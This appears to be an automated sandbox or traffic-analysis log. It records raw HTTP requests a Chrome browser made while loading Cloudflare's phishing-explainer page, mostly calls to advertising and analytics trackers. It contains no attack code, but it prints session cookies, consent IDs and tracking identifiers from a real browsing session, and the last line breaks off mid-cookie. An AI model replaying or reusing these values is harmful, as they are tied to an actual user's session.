Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CvVersion%7C5.5.0; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%7D
Source: global traffic	HTTP traffic detected: GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729259290739&uuid=ba8ef504-ac9b-4995-be02-177cd5f1712a&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1Host: alb.reddit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1055654483&slf_rd=1 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /710030.gif?pdata=d=desktop,lc=US,ref=bookingadocel.com HTTP/1.1Host: di.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /464526.gif HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/sync?exc=lr HTTP/1.1Host: s.company-target.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: cloudflareinc.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=64977079024833184161452952043619543345
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729259290356 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=64977079024833184161452952043619543345
Source: global traffic	HTTP traffic detected: GET /1be41a80498a5b73.min.js HTTP/1.1Host: tag.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/landing?gcs=G111&gcd=13r3r3r3r5l1&tag_exp=101686685&rnd=198759425.1729259291&url=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&dma=0&npa=0&gtm=45He4ah0n81NDGPDFZv890325950za200&auid=60243659.1729259291 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/bizible.js HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fbookingadocel.com%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291812&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=0&rnd=105613&cdn_o=a&_biz_z=1729259291814 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1055654483&slf_rd=1 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/action/5268204.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /u?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291819&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&rnd=948098&cdn_o=a&_biz_z=1729259291819 HTTP/1.1Host: cdn.bizibly.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=8cd764c7-7833-4da8-9b2a-46bfe1e25b2c; __cf_bm=ReusBGjPHI25LbWkYwOut4EROcDwr4.lGKnuIguPaKw-1729259293-1.0.1.1-szmaUP_y_WTN54y.laJwqGRNSytE6lePB_5v9bwWuyIdmgo6AACjG319ItFdK1AMY8yfNq2YqfPF3siBHPsb_w
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: guest_id_marketing=v1%3A172925929338406937; guest_id_ads=v1%3A172925929338406937; personalization_id="v1_Qdl+bQcYxiZ2WN7o3FybmQ=="; guest_id=v1%3A172925929338406937
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729259291645%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221416841341%22%2C%22e%22%3A1729261091645%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%22a8822828-d72d-47ee-8bfe-e216a11a3cfa%22%2C%22e%22%3A1760795291645%7D%2C%22nzcr_le
Source: global traffic	HTTP traffic detected: GET /page-data/index/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; 